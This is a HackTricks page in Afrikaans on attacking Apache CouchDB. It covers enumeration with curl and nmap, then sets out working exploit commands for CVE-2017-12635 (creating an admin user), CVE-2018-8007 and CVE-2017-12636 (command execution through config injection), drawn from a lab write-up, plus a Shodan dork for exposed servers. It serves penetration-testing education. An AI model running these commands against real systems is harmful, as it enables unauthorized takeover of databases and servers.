19 KiB
5984,6984 - Pentesting CouchDB
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Basiese Inligting
CouchDB is 'n veelsydige en kragtige dokumentgeoriënteerde databasis wat data organiseer deur gebruik te maak van 'n sleutel-waardekaart-struktuur binne elke dokument. Velde binne die dokument kan voorgestel word as sleutel/waardepare, lysies of kaarte, wat buigsaamheid bied in data-opberging en -herwinning.
Elke dokument wat in CouchDB gestoor word, word 'n unieke identifiseerder (_id
) op dokumentvlak toegewys. Daarbenewens word elke wysiging wat in die databasis aangebring en gestoor word, 'n revisienommer (_rev
) toegewys. Hierdie revisienommer maak doeltreffende opsporing en bestuur van veranderinge moontlik, wat die maklike herwinning en synchronisering van data binne die databasis fasiliteer.
Verstekpoort: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Outomatiese Opsomming
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Boodskap
Die banner van 'n CouchDB-diens kan verkry word deur die diens se TCP-poort te skandeer. Die banner bevat inligting soos die weergawe van die diens en die naam van die databasis. Hier is 'n voorbeeld van 'n CouchDB-banner:
HTTP/1.1 200 OK
Server: CouchDB/2.3.1 (Erlang OTP/21)
Date: Mon, 01 Jan 2022 00:00:00 GMT
Content-Type: application/json
Content-Length: 87
Cache-Control: must-revalidate
{"couchdb":"Welcome","version":"2.3.1","vendor":{"name":"The Apache Software Foundation"}}
Die banner kan nuttige inligting verskaf vir verdere ondersoek en aanvalle op die CouchDB-diens.
curl http://IP:5984/
Hierdie stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord moet lyk soos een van die volgende:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Let daarop dat as jy toegang tot die wortel van couchdb kry, ontvang jy 'n 401 Unauthorized
met iets soos dit: {"error":"unauthorized","reason":"Authentication required."}
jy sal nie in staat wees om die banier of enige ander eindpunt te bereik nie.
{% endhint %}
Info Enumerasie
Dit is die eindpunte waar jy toegang kan verkry met 'n GET versoek en interessante inligting kan onttrek. Jy kan meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind.
/_active_tasks
Lys van lopende take, insluitend die taak tipe, naam, status en proses ID./_all_dbs
Gee 'n lys van al die databasisse in die CouchDB instansie./_cluster_setup
Gee die status van die node of kluster, volgens die kluster opset wizard./_db_updates
Gee 'n lys van alle databasis gebeure in die CouchDB instansie. Die bestaan van die_global_changes
databasis is nodig om hierdie eindpunt te gebruik./_membership
Vertoon die nodes wat deel is van die kluster ascluster_nodes
. Die veldall_nodes
vertoon alle nodes wat hierdie node van weet, insluitend diegene wat deel is van die kluster./_scheduler/jobs
Lys van replikasie take. Elke taak beskrywing sal bron en teiken inligting, replikasie ID, 'n geskiedenis van onlangse gebeure, en 'n paar ander dinge insluit./_scheduler/docs
Lys van replikasie dokument state. Sluit inligting in oor alle dokumente, selfs involtooide
enmislukte
toestande. Vir elke dokument gee dit die dokument ID, die databasis, die replikasie ID, bron en teiken, en ander inligting./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Die/_node/{node-name}
eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk, te bevestig. Dit is die nuttigste wanneer jy toegang tot/_node/_local
verkry om hierdie inligting te herwin./_node/{node-name}/_stats
Die_stats
hulpbron gee 'n JSON voorwerp wat die statistieke vir die lopende bediener bevat. Die letterlike string_local
dien as 'n skuilnaam vir die plaaslike node naam, so vir alle statistieke URL's kan{node-name}
vervang word met_local
, om met die plaaslike node se statistieke te kommunikeer./_node/{node-name}/_system
Die _system hulpbron gee 'n JSON voorwerp wat verskeie stelselvlak statistieke vir die lopende bediener bevat_._ Jy kan ___local
as {node-name} gebruik om die huidige node inligting te kry./_node/{node-name}/_restart
/_up
Bevestig dat die bediener op, besig is, en gereed is om op versoek te reageer. Asmaintenance_mode
true
ofnolb
is, sal die eindpunt 'n 404 respons gee./_uuids
Versoek een of meer Universally Unique Identifiers (UUID's) van die CouchDB instansie./_reshard
Gee 'n telling van voltooide, mislukte, lopende, gestop, en totale take, tesame met die toestand van resharding op die kluster.
Meer interessante inligting kan soos hier verduidelik onttrek word: https://lzone.de/cheat-sheet/CouchDB
Databasis Lys
curl -X GET http://IP:5984/_all_dbs
As daardie versoek reageer met 'n 401 ongemagtig, dan het jy geldige geloofsbriewe nodig om toegang tot die databasis te verkry:
curl -X GET http://user:password@IP:5984/_all_dbs
Om geldige Geldeenhede te vind, kan jy probeer om die diens te bruteforce (kragtig aanval) bruteforce die diens.
Hierdie is 'n voorbeeld van 'n couchdb reaksie wanneer jy genoeg voorregte het om databasisse te lys (Dit is net 'n lys van databasisse):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Databasisinligting
Jy kan sekere databasisinligting verkry (soos die aantal lêers en groottes) deur toegang tot die databasisnaam:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Dokumentelys
Lys elke inskrywing binne 'n databasis.
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Lees Dokument
Lees die inhoud van 'n dokument binne 'n databasis:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Voorregverhoging CVE-2017-12635
Dankie aan die verskille tussen Erlang en JavaScript JSON-parser kan jy 'n administrateurgebruiker skep met die volgende verifikasie:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Meer inligting oor hierdie kwesbaarheid hier.
CouchDB RCE
Erlang Koekie Sekuriteits Oorsig
Voorbeeld van hier.
In die CouchDB dokumentasie, spesifiek in die gedeelte wat handel oor die opstel van 'n klasternetwerk (skakel), word die gebruik van poorte deur CouchDB in 'n klasterverbinding bespreek. Daar word genoem dat, soos in enkelvoudige modus, poort 5984
gebruik word. Daarbenewens is poort 5986
vir node-plaaslike API's, en belangrik, Erlang vereis TCP-poort 4369
vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie in 'n Erlang-klasternetwerk fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node gekoppel is.
'n Belangrike sekuriteitsadvies word uitgelig met betrekking tot poort 4369
. As hierdie poort oopgestel word vir die internet of enige onbetroubare netwerk, is die stelsel se sekuriteit sterk afhanklik van 'n unieke identifiseerder wat bekend staan as die "koekie." Hierdie koekie tree op as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys kan die koekie genaamd "monster" waargeneem word, wat dui op sy operasionele rol in die stelsel se sekuriteitsraamwerk.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Vir diegene wat belangstel om te verstaan hoe hierdie "koekie" uitgebuit kan word vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels, is daar 'n toegewyde afdeling beskikbaar vir verdere leeswerk. Dit beskryf die metodologieë vir die benutting van Erlang-koekies op ongemagtigde wyse om beheer oor stelsels te verkry. Jy kan die gedetailleerde gids oor die misbruik van Erlang-koekies vir RCE hier verken.
Uitbuiting van CVE-2018-8007 deur wysiging van local.ini
Voorbeeld van hier.
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB affekteer, is ondersoek en daar is bevind dat uitbuiting skryftoestemmings vir die local.ini
-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikensisteem as gevolg van sekuriteitsbeperkings nie, is wysigings aangebring om skryftoegang tot die local.ini
-lêer te verleen vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf om die proses te demonstreer.
Eerstens word die omgewing voorberei deur te verseker dat die local.ini
-lêer skryfbaar is, geverifieer deur die toestemmings te lys:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Om die kwesbaarheid uit te buit, word 'n curl-opdrag uitgevoer wat die cors/origins
-konfigurasie in local.ini
teiken. Dit voeg 'n nuwe oorsprong by, tesame met addisionele opdragte onder die [os_daemons]
-afdeling, met die doel om willekeurige kode uit te voer:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Daaropvolgende verifikasie wys die geïnjecteerde konfigurasie in local.ini
, deur dit te vergelyk met 'n rugsteun om die veranderinge te beklemtoon:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Aanvanklik bestaan die verwagte lêer (/tmp/0xdf
) nie, wat aandui dat die ingeslote bevel nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB uitgevoer word, insluitend een wat moontlik die ingeslote bevel kan uitvoer:
root@canape:/home/homer/bin# ps aux | grep couch
deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herlaai, word die uitvoering van die ingeslote bevel geaktiveer, bevestig deur die bestaan van die vorige ontbrekende lêer:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryftoegang tot die local.ini
lêer. Die voorsiene kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die herhalings van die uitbuiting in 'n beheerde omgewing.
Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: CVE-2018-8007.
Verkenning van CVE-2017-12636 met Skryftoestemmings op local.ini
Voorbeeld van hier.
'n Kwesbaarheid bekend as CVE-2017-12636 is ondersoek, wat kodering moontlik maak via die CouchDB-proses, alhoewel spesifieke konfigurasies die uitbuiting kan voorkom. Ten spyte van talle Proof of Concept (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB-weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifieer van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte vraagbedienerpad:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Om CouchDB-weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is ontmoet met toestemmingsverwante foute, soos aangedui deur die volgende uitset:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Verdere ondersoek het toestemmingsprobleme met die local.ini
-lêer aan die lig gebring, wat nie skryfbaar was nie. Deur die lêerregte te wysig met root- of homer-toegang, was dit moontlik om voort te gaan:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Daaropvolgende pogings om die navraagbediener by te voeg, was suksesvol, soos gedemonstreer deur die afwesigheid van foutboodskappe in die respons. Die suksesvolle wysiging van die local.ini
-lêer is bevestig deur lêervergelyking:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer deur middel van 'n aangepaste aansig wat gekoppel is aan die nuut toegevoegde navraagbediener:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
'n opsomming met 'n alternatiewe lading bied verdere insigte in die uitbuiting van CVE-2017-12636 onder spesifieke omstandighede. Nuttige hulpbronne vir die uitbuiting van hierdie kwesbaarheid sluit in:
Shodan
port:5984 couchdb
Verwysings
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien jou maatskappy geadverteer in HackTricks of HackTricks aflaai in PDF Kyk die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.